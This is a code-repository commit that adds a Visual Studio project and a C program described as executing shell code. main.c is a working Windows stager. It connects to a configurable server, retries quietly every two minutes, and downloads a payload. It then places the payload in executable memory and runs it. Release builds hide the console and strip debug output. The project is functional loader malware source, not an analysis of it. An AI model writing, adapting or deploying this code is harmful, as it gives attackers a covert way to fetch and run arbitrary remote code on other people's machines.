feature: Add a C program to execute shell code
This commit is contained in:
153
client/TinyRun.vcxproj
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153
client/TinyRun.vcxproj
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<VCProjectVersion>16.0</VCProjectVersion>
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<Keyword>Win32Proj</Keyword>
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<ProjectGuid>{e3f3a477-05ba-431d-b002-28ef8bfa6e86}</ProjectGuid>
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<RootNamespace>TinyRunner</RootNamespace>
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<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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<ImportGroup Label="Shared">
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<PropertyGroup Label="UserMacros" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LinkIncremental>true</LinkIncremental>
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<IntDir>$(Configuration)\tiny</IntDir>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<LinkIncremental>false</LinkIncremental>
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<IntDir>$(Configuration)\tiny</IntDir>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LinkIncremental>true</LinkIncremental>
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<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LinkIncremental>false</LinkIncremental>
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<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
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</PropertyGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Windows</SubSystem>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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<GenerateDebugInformation>false</GenerateDebugInformation>
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<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Windows</SubSystem>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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<GenerateDebugInformation>false</GenerateDebugInformation>
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<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
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</Link>
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</ItemDefinitionGroup>
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<ItemGroup>
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<ClCompile Include="main.c" />
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</ItemGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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<ImportGroup Label="ExtensionTargets">
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</ImportGroup>
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</Project>
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22
client/TinyRun.vcxproj.filters
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22
client/TinyRun.vcxproj.filters
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@@ -0,0 +1,22 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup>
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<Filter Include="源文件">
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<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
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<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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</Filter>
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<Filter Include="头文件">
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
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</Filter>
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<Filter Include="资源文件">
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<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
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<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
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</Filter>
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</ItemGroup>
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<ItemGroup>
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<ClCompile Include="main.c">
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<Filter>源文件</Filter>
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</ClCompile>
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</ItemGroup>
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</Project>
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4
client/TinyRun.vcxproj.user
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4
client/TinyRun.vcxproj.user
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@@ -0,0 +1,4 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<PropertyGroup />
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</Project>
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190
client/main.c
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190
client/main.c
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#define _WINSOCK_DEPRECATED_NO_WARNINGS
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#define _CRT_SECURE_NO_WARNINGS
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#include <winsock2.h>
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#include <ws2tcpip.h>
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#include <time.h>
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#ifdef _DEBUG
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#include <stdio.h>
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#define Mprintf printf
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#define IsRelease 0
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#else
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#define Mprintf(format, ...)
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#define IsRelease 1
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#endif
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#pragma comment(lib, "ws2_32.lib")
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#pragma pack(push, 1)
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typedef struct PkgHeader {
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char flag[8];
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int totalLen;
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int originLen;
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} PkgHeader;
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#pragma pack(pop)
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PkgHeader MakePkgHeader(int originLen) {
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PkgHeader header = { 0 };
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memcpy(header.flag, "Hello?", 6);
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header.originLen = originLen;
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header.totalLen = sizeof(PkgHeader) + originLen;
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return header;
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}
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int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
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{
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struct sockaddr_in sa = {0};
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if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
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strncpy(outIpBuffer, hostName, bufferSize - 1);
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outIpBuffer[bufferSize - 1] = '\0';
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return 0;
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}
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struct addrinfo hints = {0};
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struct addrinfo* res = NULL;
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hints.ai_family = AF_INET; // IPv4 only
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hints.ai_socktype = SOCK_STREAM;
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hints.ai_protocol = IPPROTO_TCP;
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if (getaddrinfo(hostName, NULL, &hints, &res) != 0 || res == NULL) {
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return -1;
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}
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struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr;
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if (inet_ntop(AF_INET, &(ipv4->sin_addr), outIpBuffer, bufferSize) == NULL) {
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freeaddrinfo(res);
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return -2;
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}
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freeaddrinfo(res);
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return 0;
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}
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const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
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if (!sIP || !sizeOut) return NULL;
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WSADATA wsaData;
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if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
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return NULL;
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char serverIP[INET_ADDRSTRLEN] = { 0 };
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if (GetIPAddress(sIP, serverIP, sizeof(serverIP)) == 0) {
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Mprintf("Resolved IP: %s\n", serverIP);
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} else {
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Mprintf("Failed to resolve '%s'.\n", sIP);
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WSACleanup();
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return NULL;
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}
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const int bufSize = (8 * 1024 * 1024);
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char* buffer = (char*)malloc(bufSize);
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if (!buffer) {
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WSACleanup();
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return NULL;
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}
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BOOL isFirstConnect = TRUE;
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int attemptCount = 0, requestCount = 0;
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do {
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if (!isFirstConnect)
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Sleep(IsRelease ? 120 * 1000 : 5000);
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isFirstConnect = FALSE;
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Mprintf("Connecting attempt #%d -> %s:%d \n", ++attemptCount, serverIP, serverPort);
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SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if (clientSocket == INVALID_SOCKET)
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continue;
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DWORD timeout = 30000;
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setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
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struct sockaddr_in serverAddr = { 0 };
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serverAddr.sin_family = AF_INET;
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serverAddr.sin_port = htons(serverPort);
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serverAddr.sin_addr.s_addr = inet_addr(serverIP);
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if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
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closesocket(clientSocket);
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continue;
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}
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char command[4] = { 210, sizeof(void*) == 8, 0, IsRelease };
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char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
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PkgHeader h = MakePkgHeader(sizeof(command));
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memcpy(req, &h, sizeof(PkgHeader));
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memcpy(req + sizeof(PkgHeader), command, sizeof(command));
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int bytesSent = send(clientSocket, req, sizeof(req), 0);
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if (bytesSent != sizeof(req)) {
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closesocket(clientSocket);
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continue;
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}
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int totalReceived = 0;
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if (requestCount < 3) {
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requestCount++;
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const int bufferSize = 16 * 1024;
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time_t tm = time(NULL);
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while (totalReceived < bufSize) {
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int bytesToReceive = (bufferSize < bufSize - totalReceived) ? bufferSize : (bufSize - totalReceived);
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int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
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if (bytesReceived <= 0) {
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Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError());
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break;
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}
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totalReceived += bytesReceived;
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if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) {
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Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm));
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break;
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}
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}
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} else {
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closesocket(clientSocket);
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break;
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}
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PkgHeader* header = (PkgHeader*)buffer;
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if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) {
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Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived);
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closesocket(clientSocket);
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continue;
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}
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unsigned char* ptr = buffer + sizeof(PkgHeader);
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int size = 0;
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BYTE cmd = ptr[0], type = ptr[1];
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memcpy(&size, ptr + 2, sizeof(int));
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*sizeOut = size;
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if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) {
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closesocket(clientSocket);
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break;
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}
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closesocket(clientSocket);
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WSACleanup();
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return buffer;
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} while (1);
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free(buffer);
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WSACleanup();
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return NULL;
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}
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struct CONNECT_ADDRESS
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{
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char szFlag[32];
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char szServerIP[100];
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char szPort[8];
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char szReserved[160];
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}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
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int main() {
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int size = 0;
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const char* dllData = ReceiveShellcode(g_Server.szServerIP, atoi(g_Server.szPort), &size);
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if (dllData == NULL) return -1;
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void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
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if (NULL == execMem) return -2;
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memcpy(execMem, dllData + 22, size);
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free((void*)dllData);
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DWORD oldProtect = 0;
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if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3;
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((void(*)())execMem)();
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Sleep(INFINITE);
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return 0;
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}
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Reference in New Issue
Block a user